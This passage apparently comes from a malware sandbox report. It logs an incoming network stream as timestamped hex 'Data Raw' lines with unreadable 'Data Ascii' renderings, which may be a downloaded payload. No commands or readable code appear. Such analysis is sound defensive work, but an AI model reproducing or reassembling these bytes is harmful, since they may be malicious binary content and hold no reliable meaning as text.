35 45 64 4f 30 af c1 1a a8 51 05 5f 3f 21 06 d4 21 95 8f 0a ac 56 43 5d 90 10 93 d2 35 45 56 a0 65 b9 5a ef 23 50 4e 23 31 96 53 a3 70 aa 97 8b 61 91 06 2b 1e 91 8b 12 c4 Data Ascii: oq}Ox'__p5m`aue^t]_lzS7pO<_z`EP2#_oU !!PzPxNQpKSW`zjPYd3e%%yQ8Gy):25EdO0Q_?!!VC]5EVeZ#PN#1Spa+
2023-11-17 05:22:24 UTC	2134	IN	Data Raw: 8f 12 c0 14 04 17 8c d1 8b 7f 7f 14 8c 5d 7f 85 d6 a2 f0 96 8d 7f 73 c0 02 d6 70 c4 ce d4 35 21 8d 17 74 f8 e6 4a ac 28 47 7c bc 91 05 5e 6c ad 97 7f 49 18 43 a7 b0 86 53 e7 50 82 20 a7 f0 8b e4 5d 24 43 06 40 3d 29 06 d6 3d 79 8d 0a cc 18 53 5a 50 b8 fe bd 5f 59 57 35 70 fb 36 11 fd c4 b2 5f 36 93 03 94 34 20 e6 70 b8 79 72 9f 70 31 11 2f d1 8b 9e 1a 64 56 07 32 b3 ac ed 54 b0 ca 7c 98 51 90 06 7c 23 11 10 57 70 79 55 4f 61 f1 09 53 f1 70 c6 79 70 9e b1 55 a1 91 5a 7a 33 90 ce 9e 91 81 e6 54 a1 c3 6e 4e f0 99 64 29 73 db d4 0d 73 9e fd 1c 72 9e 32 5f 7f 67 0d 6f 38 18 4b e7 90 9a e3 56 f9 dc 84 af b0 fc c7 b5 60 10 e4 7c 72 11 c4 d6 35 65 8b 12 88 f1 37 75 84 f1 26 af 90 81 be 7e 7c d1 52 3c 11 b2 67 75 70 ed 7b 1f 5f 71 05 af 61 31 09 e7 98 06 86 46 f5 Data Ascii: ]sp5!tJ(G\|^lICSP ]$C@=)=ySZP_YW5p6_64 pyrp1/dV2T\|Q\|#WpyUOaSpypUZz3TnNd)ssr2_go8KV`\|r5e7u&~\|R<gup{_qa1F
2023-11-17 05:22:24 UTC	2150	IN	Data Raw: be 4b ab 79 c3 59 d0 51 00 b4 24 12 02 e2 b4 f0 6d 2b 62 f9 de be 5a 76 43 5c f5 d0 05 66 53 82 87 be 70 90 06 5f f0 e8 03 16 f3 b1 cf a1 31 14 cf 3f 78 4a dd 55 ab 94 03 03 71 94 16 37 bc 5d 2c 93 55 93 4c 7f 72 1a 64 46 f9 04 94 97 b1 80 83 b3 11 90 83 93 11 90 22 d2 80 f0 07 d2 a0 f0 07 ca 84 1c 64 5b a4 f3 02 7e 72 12 ee 51 10 e0 25 5e 71 d5 14 41 fb 1c a7 5c f3 78 22 5d f9 93 07 d4 e5 10 0e dc b2 dd 07 d6 72 90 02 51 b9 46 87 c6 f5 42 67 52 75 bc 40 ea f2 18 42 be e2 13 0b ff f3 50 07 d6 fd 33 17 ca 52 81 d0 ca f1 93 e2 58 f9 7e 01 59 97 96 a6 03 39 10 02 fb db 58 c3 0f 77 f1 31 6a c6 d4 e3 29 51 95 8f fd 70 9b 02 4b 70 95 29 1f fc 10 05 9d 6a d5 0f 26 3f 98 f0 1b 2b d4 0f be 6a 18 a4 5f 7a 95 d3 5f 74 92 7f 1d 58 18 83 7e 51 f2 7b 9e 79 f4 7b 0c 86 Data Ascii: KyYQ$m+bZvC\fSp_1?xJUq7],ULrdF"d[~rQ%^qA\x"]rQFBgRu@BP3RX~Y9Xw1j)QpKp)j&?+j_z_tX~Q{y{
2023-11-17 05:22:24 UTC	2166	IN	Data Raw: ee 6e 65 03 0d 5e 7d 30 0c 5a c3 91 56 53 a4 c0 8d 52 62 15 e7 58 52 de 37 49 dc 1a 53 57 dc 18 53 dd 58 1a 4b f7 98 95 8b 62 d0 a0 8b 12 a8 79 72 de 70 92 8f 1a d4 1a 43 fb 20 b2 97 7e 5c 1a 4b ff 61 89 06 f6 b0 94 1f fe 45 d2 19 4e fc 95 1e 87 98 55 9f 58 76 79 2e 1f 74 d0 01 3f 66 61 0d da e1 99 51 de 70 f9 66 75 35 51 39 5f fc 21 55 5f d3 69 2d 05 68 91 6e 43 d0 95 46 63 3d 41 57 57 98 f7 8c ee 78 0d 8d 0a ec d9 8f 0a e8 43 2f 1a e8 01 05 93 20 c0 ee d3 b2 10 34 cb 40 b6 8f 5b 25 01 d4 78 3d 01 ee b8 4c 30 54 55 80 79 c8 4b 22 96 0e 3e 57 bf b4 1f 71 50 1b 9e 5b 37 b6 5f 18 d5 cd fe 7a d1 04 96 d0 98 56 fe 51 96 46 60 42 01 e6 58 18 c9 92 58 40 bb ea d6 71 00 01 d3 fb c4 8a d6 25 19 0b bf 73 9b 36 78 d0 94 c2 0e 98 83 07 cd 77 15 8d 0a f4 18 53 df d3 Data Ascii: ne^}0ZVSRbXR7ISWSXKbyrpC ~\KaENUXvy.t?faQpfu5Q9_!U_i-hnCFc=AWWxC/ 4@[%x=L0TUyK">WqP[7_zVQF`BXX@q%s6xwS
2023-11-17 05:22:24 UTC	2178	IN	Data Raw: 46 6f f0 87 06 77 71 1e 03 d4 fd 50 00 65 21 95 01 9d 70 96 04 d0 f1 96 be 9b 5e ee 05 d0 71 92 02 57 e1 91 0e da b0 71 73 78 b7 14 8e df 73 90 1d d9 59 04 c4 58 21 51 01 d4 b2 97 ef 40 71 b0 54 ca 31 86 54 35 f5 9e 54 df 77 c1 06 b7 fa 26 0a 5f f3 55 0a 47 b7 14 8a 9f 74 50 91 b4 7f 1a 27 9d 72 12 c6 5e f9 93 04 d4 fd 58 47 5e 4b 1c 87 6f 0d f2 05 58 f0 a3 56 d4 80 40 f8 1b 62 99 46 4d 73 c1 c0 d6 f5 ed 47 54 e5 93 09 bd 74 90 b8 df 6c 91 2d ad b1 77 44 5d f3 9d 60 d4 fc d4 c4 8e 98 93 4f 9f 24 9e b0 8f fb 5f d5 5b 92 1a c4 53 7f 27 0e 54 ba 95 8d ca f1 93 8e 55 9b 11 8d 7a f2 d9 56 5b 67 3a 09 df 59 fb 05 cc f0 f8 42 6d 5a 68 a4 02 60 21 46 71 7b b9 35 dd 75 cf 86 5a f3 ec ee 5f 30 e5 14 98 35 7d 02 be 3d c4 26 b7 22 79 ee a7 50 c8 19 d4 30 d4 16 0f fb Data Ascii: FowqPe!p^qWqsxsYX!Q@qT1T5Tw&_UGtP'r^XG^KoXV@bFMsGTtl-wD]`O$_[S'TUzV[g:YBmZh`!Fq{5uZ_05}=&"yP0
2023-11-17 05:22:24 UTC	2194	IN	Data Raw: 06 2b 60 18 0b 3b cb c1 fd a0 1a 81 07 0a a0 93 53 bd 5a d9 04 0a b7 13 05 4f 31 ac 83 83 6f d1 04 5f 05 d1 28 de 6d d5 28 b7 7b 6c 06 a0 8f 18 43 af f3 ec f6 57 70 e5 4c 1b 54 36 7f a5 8f 03 56 18 46 39 70 9f 3e 14 d2 1f 73 b3 da df 36 56 83 87 30 93 06 9a 60 c5 06 d2 e5 90 11 0d 1a 91 1e 37 73 84 46 2d b6 9a ee 03 8b 89 f9 d2 f5 d0 14 5b 61 79 00 a1 59 91 1f da b8 50 01 e2 31 90 06 2b 1a 8b 82 45 4c 1a 1c 62 f0 8b cc 78 f3 31 c7 67 98 c9 fc 9e 6f 55 c7 52 b7 91 06 1f 24 15 36 b7 af e9 04 2a f2 0f 33 1c 27 5c 46 5b fb 13 0c 56 d0 dc ee df 43 5c ee 0b 37 9d 06 5e e2 97 16 da d2 54 95 0e f9 dc fa d4 94 d4 fa 1f ed 18 0e 9e 71 18 ad 9a 77 81 60 d4 35 99 c6 fa 8c 79 4a 58 b1 3d 0e 56 b4 96 85 22 78 91 7a 5d 7d 90 0e 94 07 6a f9 66 35 91 0e 21 7a f9 51 5f 77 Data Ascii: +`;SZO1o_(m({lCWpLT6VF9p>s6V0`7sF-[ayYP1+ELbx1goUR$6*3'\F[VC\7^Tqw`5yJX=V"xz]}jf5!zQ_w
2023-11-17 05:22:24 UTC	2210	IN	Data Raw: 5f bf 74 91 ff bd 74 b5 07 78 91 96 26 fa 5a 90 72 4f 78 f9 32 7a 71 41 27 5e da 90 7f 58 53 e6 07 26 d1 96 02 fe 77 da 64 c4 d2 96 63 fc 77 2f 0b fa 77 e1 a6 44 71 91 ee 50 d1 96 3e 1a 75 b8 24 5e dc da 26 5e 28 bb 07 a6 f5 fa c7 50 00 97 35 df 67 9c d4 ef d0 90 72 02 d1 90 08 ff 76 b3 09 ab 70 1f f6 5a 18 fb 00 bd 66 61 e3 49 9a a1 07 ff 77 d2 4f f9 77 85 af cf 72 05 6f 2f 76 f9 ad 2a 76 b3 07 6e d1 96 8a 75 71 ef a6 58 a4 f9 9e 7a 71 89 27 5e 7b e1 02 8d 78 0b 1c 8f 78 61 f4 c1 d5 90 86 de e1 f8 8e b3 98 89 55 5e 98 e1 03 f8 d7 b8 fd d5 40 79 fe d5 58 6e 8c 12 a4 81 c1 1a 9c 0d 76 58 b7 d4 f6 5d c4 f1 06 0e fb 55 8f 3a a8 b1 56 b7 8e cb 00 1f 4a 41 8b 1f 3d 75 57 b7 32 cc b7 5f bc 88 72 3a 18 55 66 5d 00 90 ee e4 e0 dc 17 fa 98 a0 07 df f5 c4 ee 7c fe Data Ascii: _ttx&ZrOx2zqA'^XS&wdcw/wDqP>u$^&^(P5grvpZfaIwOwro/v*vnuqXzq'^{xxaU^@yXnvX]U:VJA=uW2_r:Uf]\|
2023-11-17 05:22:24 UTC	2214	IN	Data Raw: 4b 55 98 51 4d bb 30 ae fa b7 b7 d4 08 5b 72 b2 c6 6a b0 8e 6c a0 18 27 26 b7 22 91 62 fe 31 8d 56 de 74 7d c2 df 71 30 be e9 29 91 46 6c b5 18 43 83 20 51 26 3b 52 32 87 59 f9 1c 3e 1f 39 1a 83 be 31 90 c1 df 78 98 c7 5b 70 a4 44 5a e8 56 87 53 b0 92 47 0e fb 04 44 56 50 d4 0a d6 32 b9 c2 59 31 b5 2f dd 27 04 52 1f 71 c3 c5 5b f3 50 06 5b 98 c0 0f a5 8f fb 06 57 1a 9e 6c 1f 71 f9 a6 87 23 f2 82 4d f1 97 20 db 8c 10 00 17 74 f5 46 dc 8c 6e c1 da 18 d1 05 bf 21 91 87 98 f5 fd 46 5d b8 d3 04 2f 25 d1 04 fb 32 93 72 1f 72 15 44 5d 08 94 46 5d 10 d1 04 0e fb 55 8f fa 32 d9 06 5c 20 79 25 1b 70 c7 83 4d 44 90 24 d2 14 d1 07 0e 98 f0 1c 19 31 95 36 1e 58 12 d2 37 dc 78 42 0c 70 d2 01 b7 a4 e8 06 d7 25 85 0e 0d f4 92 c3 df 73 f9 66 26 fa c5 83 58 c5 51 05 98 35 Data Ascii: KUQM0[rjl'&"b1Vt}q0)FlC Q&;R2Y>91x[pDZVSGDVP2Y1/'Rq[P[Wlq#M tFn!F]/%2rrD]F]U2\ y%pMD$16X7xBp%sf&XQ5
2023-11-17 05:22:24 UTC	2230	IN	Data Raw: 26 5f 73 14 2f 56 fd d0 05 b7 58 20 fa 3f 4c 58 b7 5e 99 20 b6 21 18 85 27 e4 50 ae 44 1b b0 90 57 b7 c8 cc 44 15 b7 f7 83 be 70 30 07 d2 e5 00 06 bf 7f 0d 54 ee 40 d4 bb 17 b0 91 00 4d 6c 18 2e da 10 6a a6 1f fd c0 06 0e 18 83 ce 2d 79 f9 6e ce 46 e7 9b 5b 61 a1 02 4f fb 04 17 54 fb d3 02 d7 20 f9 f6 4e 67 91 16 55 61 5a 83 ff 76 f5 26 5c 98 51 fc a1 92 de 3e a0 65 b5 26 48 d0 db 57 5e 21 79 86 e6 83 6f f9 d6 f5 cd b6 5f f4 12 bb 0e 70 90 09 da a9 a1 0a 0b 18 95 b4 57 5c 81 03 0d 74 95 59 13 98 6f 36 52 d2 91 02 b6 31 92 2e d6 b0 90 85 e2 21 91 06 2b 0c c1 53 7e f0 91 ee f5 fd 68 57 59 72 1a 41 8d 71 c1 00 4e 74 c0 6e bb a1 c2 93 3e 61 93 54 b7 e7 18 27 ca 20 3a ca 17 f9 34 1a 4f 71 1c 83 2e 71 c1 c2 b7 5f a1 7c d6 f5 81 37 53 c2 86 de b7 1e 82 26 57 73 Data Ascii: &_s/VX ?LX^ !'PDWDp0T@Ml.j-ynF[aOT NgUaZv&\Q>e&HW^!yo_pW\tYo6R1.!+S~hWYrAqNtn>aT' :4Oq.q_\|7S&Ws
2023-11-17 05:22:24 UTC	2246	IN	Data Raw: ee 7f 73 7d 14 6f 21 99 8d ff 7d d0 06 49 f3 5b 07 d6 25 90 0a b4 62 b7 16 4d b7 91 35 2a 90 79 9a 7d c5 03 09 57 98 d2 86 5f fb dc 46 bb f3 58 07 d6 3d e0 04 01 ab 82 45 a5 44 4d f9 6b 8a 90 e6 a0 71 6b 3d 7e 61 98 fa b7 99 92 56 4f b8 79 28 ed e1 84 18 63 82 8d 1a 7d 78 75 3d df 35 99 72 61 fd dc fe 0f 73 81 e2 b7 d3 f6 76 4a 20 95 54 1f fb 91 56 d2 3d 61 24 5e 10 04 2f 5e 98 b3 07 92 51 90 53 57 d0 8a 56 bb 98 40 62 3e fd 75 f8 33 f3 91 ea 13 f9 dc be d4 3d 29 3e b7 2f fb 16 5d 10 33 c6 77 c8 1a 82 0e 74 a1 37 99 35 6e 07 7f 5a 91 56 b7 b4 f7 fc a0 7f 2f 1c 57 80 ad 55 5f 69 42 34 0f 98 4f 85 6f 7b e1 0a 53 21 79 02 56 e2 91 06 e7 98 fa bd a6 8f 19 43 5f 8f 9e b0 0a 8f 14 d4 2b 41 60 2b 0f 98 06 c6 5c 40 0c 4b eb b4 7a 08 9f 73 c3 ee f8 81 91 76 59 60 Data Ascii: s}o!}I[%bM5*y}W_FX=EDMkqk=~aVOy(c}xu=5rasvJ TV=a$^/^QSWV@b>u3=)>/]3wt75nZV/WU_iB4Oo{S!yVC_+A`+\@KzsvY`
2023-11-17 05:22:24 UTC	2262	IN	Data Raw: e5 4e 65 11 06 b3 54 93 0a 7e 72 43 6f 41 20 91 6e 5b 2f b2 04 a5 90 36 6e 9f 8f ee 56 5f 18 89 22 5d 51 3b 86 37 14 04 eb 5f 18 b5 22 5d da 47 64 5b 88 f1 10 1b 54 93 c2 7e 72 d1 da 4b 4c 91 6e 07 54 93 b4 f0 51 93 26 06 50 d0 22 5d d0 b3 04 d4 50 93 2c 23 54 93 88 7e 72 29 a6 60 18 01 c3 7b 72 ed 27 5d d9 38 af bf 6a b5 04 05 1a 33 00 3b b1 a9 22 5d 28 b0 04 e2 dc 26 6d 3f 4a b5 04 19 51 93 8d 3e 7d 1b ee 7b 72 a5 27 5d 25 fa 29 1f 77 3b 66 7c 72 b3 64 49 fc 11 06 7f 54 93 64 4f 51 93 9f 6d bc f1 58 7b 72 6f 28 57 92 99 e7 bf 54 93 ea 7e 72 78 90 c9 0a 31 e6 7b 72 4b 27 5d ff 2d 66 52 3a e9 22 5d b8 b0 04 17 4d b1 04 cb b5 b5 04 e9 51 93 29 10 3f f1 53 7b 72 f3 a2 7e 72 91 c8 8e 50 c2 22 5d e2 20 27 5d e4 91 d5 3f 66 b5 04 df 51 93 ae a0 64 02 06 5a 11 Data Ascii: NeT~rCoA n[/6nV_"]Q;7_"]Gd[T~rKLnTQ&P"]P,#T~r)`{r']8j3;"](&m?JQ>}{r']%)w;f\|rdITdOQmX{ro(WT~rx1{rK']-fR:"]MQ)?S{r~rP"] ']?fQdZ
2023-11-17 05:22:24 UTC	2278	IN	Data Raw: 84 9d 5e 31 5e 3b 44 69 85 e5 21 10 10 5c 05 a4 24 7e 5c 73 01 76 5d 90 0a ce 11 89 86 d0 88 91 0e 74 f8 be a7 5a 10 05 86 55 14 05 46 9f c2 7a 12 a7 1a 91 6c fe 79 f7 9c fe 72 73 27 de 7a d4 83 3e 78 13 67 7e 9b a6 84 7a 8c 5f 2d 3d 60 53 66 1f 77 92 87 bc 67 10 7e b4 b1 9a a7 5e 73 33 1f 74 32 85 85 27 33 a9 69 1f b7 79 5b ff 47 30 5b 2a d7 cc c6 e8 88 89 8d 5f 5b b3 0c 1f 71 08 f1 e6 f6 71 64 ca d0 f3 fa 5f 04 8e e4 54 35 b0 04 74 91 9a 0e 5c 71 33 45 d4 b0 d4 0a dc 98 90 8f 7e 39 31 2c 6f 7c 9e a9 ce 31 95 86 56 73 81 0f df 74 18 17 aa f7 8d 8f 12 94 b9 8b 1a 98 71 2d 53 70 b2 0e 0d 50 1a 4b bb 98 c2 c6 4f f3 ec 06 b7 70 e5 00 dc 0d 7d 06 0f 05 93 ed 6c 94 f6 f6 de 15 d3 06 5b f9 d4 f2 d4 3d 61 05 db 3d 79 c4 38 84 92 53 b3 f0 82 2e d2 35 61 86 57 78 Data Ascii: ^1^;Di!\$~\sv]tZUFzlyrs'z>xg~z_-=`Sfwg~^s3t2'3iy[G0[*_[qqd_T5t\q3E~91,o\|1Vstq-SpPKOp}l[=a=y8S.5aWx
2023-11-17 05:22:24 UTC	2294	IN	Data Raw: f9 49 f0 90 2d 0e 7b 6e 10 b7 b3 8a 31 9b 85 87 06 1f 77 66 10 c0 c8 93 ca 5d 70 c4 8d b3 21 18 4b 5f 8c 1a 4b a3 98 50 24 5f 70 91 09 e9 b0 14 c6 2a 5d 90 06 2f fb c0 0e 0d fb d4 fa 5f fb d9 0e de 99 49 06 5f 74 91 57 5e f8 bf 22 5f 70 1a c6 0a 8c 1a 44 57 5d 90 4a 5f 54 11 8f 1e 78 1a e3 02 b3 92 9e 5e 73 0f 85 b3 6c 18 4b bb fd 91 43 a7 20 1a 4b bb 98 aa 07 5f da 1a 4e 5b 21 1a 16 0d 38 1c 43 af 72 b5 fe 7e 78 b5 ee 42 72 83 e3 5e 55 90 41 5d 4f 99 8f 12 f0 69 57 d4 bc 79 79 78 71 f2 2e a7 98 c6 06 58 1a 93 0f 72 56 48 06 4e 35 69 01 2d 78 2e 97 5e 6b 98 8d 54 76 1e 06 10 8c 91 cd dc 08 95 06 7f 05 98 c1 1a 88 91 bc 5f 9b 97 11 5e 02 11 63 1e 78 ba 44 5b f8 08 bf 6b f0 98 f1 a6 f9 11 2b 5c 79 be 8f 70 c1 6e f9 a0 49 d4 06 57 02 97 f9 4a 24 24 55 4f 70 Data Ascii: I-{n1wf]p!K_KP$_p*]/_I_tW^"_pDW]J_Tx^slKC K_N[!8Cr~xBr^UA]OiWyyxq.XrVHN5i-x.^kTv_^cxD[k+\ypnIWJ$$UOp
2023-11-17 05:22:24 UTC	2310	IN	Data Raw: 09 be 58 12 a5 9e a1 45 8b df 37 89 8d 0a a4 f1 24 9f 76 93 ee 92 31 90 11 1a 9c 12 c6 5e 70 f9 c1 13 35 71 c5 4a 70 a9 b2 85 b1 94 d6 df fd c4 e6 0d fb d4 d6 df 6c a4 c4 5a ee e3 08 b3 70 96 a6 7e b7 d4 10 83 92 93 37 7f 45 43 03 93 fd d4 5c 83 d0 93 ca 7f 68 73 04 30 90 93 ed df 2d 12 7b b3 71 ef 13 3d 72 27 58 0f 75 24 02 8d 60 8d a6 5e 70 31 07 b6 81 98 e5 fd d7 90 b1 ff 71 00 0b 4e 49 94 d4 52 f6 90 07 5f 1a 91 ee b0 72 80 50 22 c8 c6 23 16 70 52 d5 9b 70 43 03 af a9 f6 25 3b 90 95 74 6c 93 71 3d c9 6c ce 58 04 c9 87 f0 d4 70 b8 ee a7 21 1a d6 54 7c 62 53 8f 50 01 01 cf 88 79 59 45 a0 14 53 53 b0 83 54 a7 11 98 86 67 71 94 fe be 50 99 bd bb 50 6c 89 58 8f 1e f8 d0 81 b2 6c 6f 71 21 0e 0f 98 af 17 5a 90 95 02 ba 74 68 f2 40 70 82 f9 40 8f 8e f9 40 8f Data Ascii: XE7$v1^p5qJplZp~7EC\hs0-{q=r'Xu$`^p1qNIR_rP"#pRpC%;tlq=lXp!T\|bSPyYESSTgqPPlXloq!Zth@p@@
2023-11-17 05:22:24 UTC	2326	IN	Data Raw: 09 db 8b 70 05 fc 75 15 ee 50 49 97 00 50 f7 8e e7 5c 51 83 03 a0 54 1c 5e b9 73 8e 09 6b f4 4a 56 5c f1 53 06 ee 29 9e 82 1d ef 68 06 df 7f 15 d7 6e 9f 71 57 bd b0 7d 2f 7c 70 9c b6 5b 7d 98 af 7f 66 78 c1 dc 71 bb 87 5e c8 15 07 0d 80 01 08 b6 de 12 07 74 f1 90 ce 0a f4 90 d1 de 71 04 85 5e 5c 10 07 87 71 11 07 45 c9 91 8b 12 a0 79 b8 95 8e 6e 06 b6 0c 90 06 5f b7 d4 ea 5f 5d b2 06 5f 18 75 79 0a da 91 07 9f d5 90 c6 3c 73 f1 28 5e 10 3b f6 5b 10 1d 07 3f 3a 92 66 70 71 a1 ac a3 74 a1 75 5e 40 a0 05 6f 40 90 36 0b 74 11 05 6f 2a 90 36 47 73 a1 37 ca 71 a1 0a 5b 40 d0 07 47 8f 91 04 47 da a4 07 47 50 95 1e 77 71 89 e0 5c 68 3b 30 5e 68 a9 02 47 7f 90 1e 92 73 89 4c 68 71 89 4a 5b 68 67 cf 5f 68 25 53 5c 68 a9 07 47 10 95 1e 82 71 89 9d 0a 73 89 3f 5e 68 Data Ascii: puPIP\QT^skJV\S)hnqW}/\|p[}fxq^tq^\qEyn__]_uy<s(^;[?:fpqtu^@o@6to*6Gs7q[@GGGPwq\h;0^hGsLhqJ[hg_h%S\hGqs?^h
2023-11-17 05:22:24 UTC	2342	IN	Data Raw: 4b bb 70 57 43 a3 71 12 7b bb 70 91 72 78 fa c4 1e 0d fb d4 06 4b 20 1a 4b 4f 21 1a 53 55 7c 11 03 57 f0 94 e2 b7 4d 81 07 5e 53 49 8d 12 a8 18 4b 8b 50 7a 01 98 35 45 84 4c 25 45 8e d6 25 79 46 50 70 7a 21 1f 6c ba 06 48 34 8c 88 5f 77 fb 46 5f 98 d6 2e 57 78 91 c6 41 8f 91 06 e7 8f a1 28 15 70 52 02 5c b0 9b 8d 12 78 65 62 d6 30 b6 06 5f 29 ce f2 01 2b 90 3c 4b 71 ab 02 5f b3 ea 86 24 70 c0 8d 93 fd d4 0a 0f 98 b3 2d 9e 6b dc 0e 0e b1 f1 49 53 78 91 06 d2 31 b6 4b a7 f3 50 aa 5c 98 51 20 1f 46 69 87 4f 78 14 16 ba b0 9e 57 de f7 d4 fa dc 20 57 05 9f f8 11 90 58 78 91 85 9b 74 42 0d e6 b0 96 36 4c b0 82 03 01 a0 96 26 87 77 f1 4b a3 98 20 f1 9e 47 11 04 57 70 18 4e 5b f3 ec 0a 5f 05 91 00 a0 65 c5 b3 0c 70 a2 e2 8d 05 93 22 12 7c 51 7f 5c 56 41 2d 4b f3 Data Ascii: KpWCq{prxK KO!SU\|WM^SIKPz5EL%E%yFPpz!lH4_wF_.WxA(pR\xeb0_)+<Kq_$p-kISx1KP\Q FiOxW WXxtB6L&wK GWpN[_ep"\|Q\VA-K
2023-11-17 05:22:24 UTC	2358	IN	Data Raw: 06 d5 7c f9 f6 df 50 f9 0e 1f 71 91 86 50 94 79 ee 9f 51 18 09 4f f9 c1 12 5f 51 56 47 89 28 90 35 d9 03 71 8a 2c 74 12 75 dc 1f 95 84 75 f6 fe 87 b3 e4 99 06 7d 70 95 77 d6 35 49 4e 66 fd 1d 04 a8 f7 be 43 53 20 f9 46 d5 72 c4 84 77 90 c0 ee 7b 9b 69 96 a0 f3 55 16 de 42 f9 a2 df 75 f0 47 db 70 da f0 a0 f0 ea 84 52 98 d9 15 46 70 51 0c 37 b0 55 00 db 78 58 f3 a0 f0 f9 0e b7 9b af 06 5b 70 18 43 af b7 d4 ea 5e f1 84 ed 56 fb c4 ea dc b2 91 07 d6 25 7d 8d 1a 9c aa 46 1a 80 9e 8b 63 75 d1 3f d2 6a 59 c7 4f 7f 91 0b 1f 68 93 8b d2 7a 41 87 5c 70 12 05 5c fd 1c ba 56 f1 92 f7 97 f2 92 02 d2 fd 5d 03 de 73 73 85 5c 75 1c 4b 83 98 d3 d0 9c 72 97 8b d2 b4 10 00 98 31 12 05 58 fb dc ea 0e 71 b2 c1 1f a4 68 f9 0f 18 71 87 79 e5 50 07 57 22 79 b3 9b 85 10 35 9f 50 Data Ascii: \|PqPyQO_QVG(5q,tuu}pw5INfCS Frw{iUBuGpRFpQ7UxX[pC^V%}Fcu?jYOhzA\p\V]ss\uKr1XqhqyPW"y5P
2023-11-17 05:22:24 UTC	2374	IN	Data Raw: 1c c1 17 93 2d 37 08 1c ce 5b fa 53 02 99 6f 95 ee 46 b2 8e 04 5b b2 ee a6 b7 2b a8 06 5f 0d d1 1b 4c 70 f9 c4 5b 70 e8 87 5e 70 e8 04 f3 8f 41 8b 43 74 fb ae d7 67 ba 85 43 75 10 14 5f f0 83 83 9f 04 f9 8d ff 25 81 54 37 a4 59 0e 58 b7 99 92 a3 48 10 79 5f 31 89 43 4f b0 8b 29 1e 72 11 3f 5d 74 4b 1a a3 98 98 b1 39 71 73 0f dc 0d 85 06 50 f4 78 d7 9f 05 f9 22 f4 d7 92 9f fd 73 99 18 7b 58 ae 07 41 8c 6f 07 41 ec 79 f2 25 40 90 18 df 72 8f 67 5d f0 81 c7 5f 5b 80 18 79 23 c9 ce 54 4a 12 09 b6 a0 d0 c7 db 25 85 54 37 f0 19 05 42 fb 12 05 be 7c b3 e6 53 f9 14 fe 1f 7b 58 86 5c 71 11 86 5a 35 85 66 52 71 93 51 5f 6e 50 06 5e 6e a5 0b 41 6d 94 18 97 39 59 0c 99 15 53 0c b4 2f b5 56 a9 62 8b 24 0f 50 56 44 58 75 d1 06 77 f0 f9 f6 97 75 06 c4 5a 7c 7a 34 6f b4 Data Ascii: -7[SoF[+_Lp[p^pACtgCu_%T7YXHy_1CO)r?]tK9qsPx"s{XAoAy%@rg]_[y#TJ%T7B\|S{X\qZ5fRqQ_nP^nAm9YS/Vb$PVDXuwuZ\|z4o
2023-11-17 05:22:24 UTC	2390	IN	Data Raw: a6 93 33 9d 06 bb e3 23 fe b8 33 10 ea 9e 3c de 42 d2 d1 74 03 fa 34 61 a2 1b a0 c1 ee a4 85 36 a9 cb 12 94 e7 46 5e bd 27 30 b8 d1 a8 16 55 93 2a 7a 14 04 35 1e 58 fe c2 fe 57 fe d6 b7 f9 67 4c 48 7a d3 11 17 b4 78 ef de f8 c4 f6 7f be 7d eb 5f 78 2d c6 e3 15 9b 0e 3f 7a d3 fe fe 18 42 a4 5d b4 10 29 6a f1 af b2 1b 75 64 43 1c 40 98 06 5b ac 79 07 1f 61 99 d6 7f f5 43 72 42 fb 61 50 d4 3d 0b da 8f 7b 3d d2 54 b4 93 2b 71 55 db 44 fb 76 96 7a b7 a7 a5 a6 57 60 d5 8d 1f 30 ae da d6 35 21 75 c3 d5 59 07 45 85 94 a7 60 85 94 1c a8 75 53 92 89 61 ed ee 8f 5d 67 73 79 7a a8 84 60 b7 ac 07 52 d0 d1 4f 5e 12 a7 77 2d 75 75 ee b6 02 9a 57 0f e0 82 8e 32 e9 82 49 ef 68 09 15 8f 80 a2 36 1e 99 d6 b7 25 70 bc c4 5b 98 6a 0a 6e 61 75 02 b7 33 c1 02 d4 38 95 ee 64 fb Data Ascii: 3#3<Bt4a6F^'0U*z5XWgLHzx}_x-?zB])judC@[yaCrBaP={=T+qUDvzW`05!uYE`uSa]gsyz`RO^w-uuW2Ih6%p[jnau38d
2023-11-17 05:22:24 UTC	2406	IN	Data Raw: 44 4f f9 91 07 5c 60 f6 62 72 99 f2 48 a7 7f 71 05 ee 84 92 6c a0 f0 f9 9e 1f 23 91 62 fe b1 bd 06 0f 21 30 be e9 29 91 35 df b5 c1 8b 1a 84 f5 a5 1e 72 99 8f 12 80 52 11 af 98 0f 53 bf 85 6e c1 1a 8c 72 4a 7f 67 90 8c cd 80 51 06 b7 f5 91 05 d4 25 70 02 9f fb d9 0e d6 3a 99 63 5e 10 87 86 4f fb d1 12 d6 32 85 06 5a d1 53 1f 47 f9 d0 1e 1f 78 6e 06 5f f4 1a 43 ff f3 65 62 d6 7d 70 0f 69 29 72 1c b7 65 90 f2 4a 70 9a 85 9f f6 9d 82 7f 92 ca 4a d6 3d 29 87 f8 f4 ee d6 df 7a 91 8f 1a 84 11 07 1e 51 ec 53 a7 b6 d4 f9 bf dd 65 06 0f 98 a5 ce a0 8f 9e b8 5f 78 14 cf 2a 23 1a 53 ab 6b b1 05 fd 72 bf a6 5d 92 39 ee 7b 77 90 84 33 c8 79 6d af 84 6e 8e 5f 35 6e 09 e9 25 6e 83 8d 26 e5 66 da b0 95 21 9f 74 1a 86 37 c4 55 ed 51 f0 96 54 b7 47 70 07 bf 7c 91 b2 d4 3d Data Ascii: DO\`brHql#b!0)5rRSnrJgQ%p:c^O2ZSGxn_Ceb}pi)reJpJ=)zQSe_x*#Skr]9{w3ymn_5n%n&f!t7UQTGp\|=
2023-11-17 05:22:24 UTC	2422	IN	Data Raw: 56 1e 72 72 47 5d f8 15 46 5d 59 b1 29 bb 22 d0 04 8f 30 93 85 9f f2 95 c6 5c c4 79 52 89 84 31 20 df d0 1a 43 ff f9 d4 9a df 63 90 26 6c ec 1a 17 0d 18 b9 d5 36 17 81 96 b9 11 81 1e 1d 67 d1 00 3e 10 46 f5 a0 99 e5 26 31 37 bc f8 9d 75 d3 2b 71 fd d4 be fe 34 35 04 77 c8 84 07 3f 59 2d e6 51 c8 c3 52 37 f0 99 0c 60 72 9b 12 19 4f 61 9b 37 73 b2 62 5c d1 99 84 2f f2 88 26 52 f0 c4 aa d4 35 51 8f dd 31 a0 13 5f 15 93 02 c7 dc 9b 9e 98 35 21 c1 fe fa 51 12 fd 5d 5b 16 5f 30 93 42 dc c8 79 ee 44 b0 a0 46 cd fb f7 c5 b6 15 91 57 d6 3d 6d 8d 1a 8c 1a 48 df 11 9b 8c 5c 96 f8 2e 16 98 f8 7a 1a 80 f8 82 9b 